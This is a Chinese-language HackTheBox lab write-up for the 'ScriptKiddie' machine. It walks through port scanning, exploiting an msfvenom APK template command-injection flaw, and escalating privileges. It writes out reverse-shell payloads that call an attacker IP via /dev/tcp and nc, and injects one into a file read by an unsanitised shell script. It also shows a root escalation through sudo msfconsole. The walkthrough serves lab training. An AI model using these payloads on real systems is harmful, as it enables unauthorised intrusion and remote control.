HackTheBox

[HTB] ScriptKiddle

这台靶机比较简单,就和名字一样,脚本小子就可以做

端口扫描

首先用nmap扫描端口

image-20210222022254678

扫描发现开放了22和5000做http服务

用户权限

浏览器访问这个web页面,发现是一个这样子的输入命令的地方;

image-20210222022422471

尝试nmap这里命令注入,发现会经过校验,不存在命令执行

payload这里是调用了msfvenom

另外发现这个页面还给出来了直接用searchsploit搜索的接口

image-20210222022959932

这里直接搜venom可以查到两个漏洞,其中第一个是命令注入的

尝试使用这个的脚本,第一次运行时报错说缺少jarsigner

需要安装一个包

sudo apt-get install openjdk-11-jdk-headless

之后修改payload为nc 10.10.14.174 1234

本地开一个终端执行nc -lvvp 1234

image-20210222025228727

运行得到一个apk文件, 将这个文件传到payloads里面

这样运行完之后虽然连接过来了,但是没办法执行命令

网上又查了一下这个漏洞,搜到了msf的ruby利用脚本

用这个脚本,payload设置成了reverse_netcat

运行之后可以成功拿到shell

image-20210222184655891

这个shell在/home/kid/html这个路径下,往上可以看到user.txt

root权限

向上ls看到除了kid还有一个pwn用户

image-20210222185259181

这里面看到有一个sh脚本

这个脚本里面是持续用nmap扫描一个文件里的ip

image-20210222185639772

但是这个脚本中没有对这个${ip}j进行判断

在这个hackers里面加上这么一行

test; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.173/1234 0>&1' #

这样连起来实际上执行的就是

sh -c "nmap --top-ports 10 -oN recon/test; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.173/1234 0>&1' #.nmap ${ip} 2>&1 >/dev/null" &

这里第二遍重复的${ip}没有替换,但是由于最后的一个#实际上把后面的内容都注释了,影响不大

echo "test  ;/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.173/8888 0>&1' #" >> hackers

这样另一个监听8888端口的窗口就是pwn权限的shell了

image-20210222192957004

下面想办法从pwn权限提升到root

执行sudo -l看到msfconsole有sudo权限

image-20210222193055406

在GTFObins上没查到

直接尝试用sudo执行这个程序

image-20210222194543488

就已经是root权限了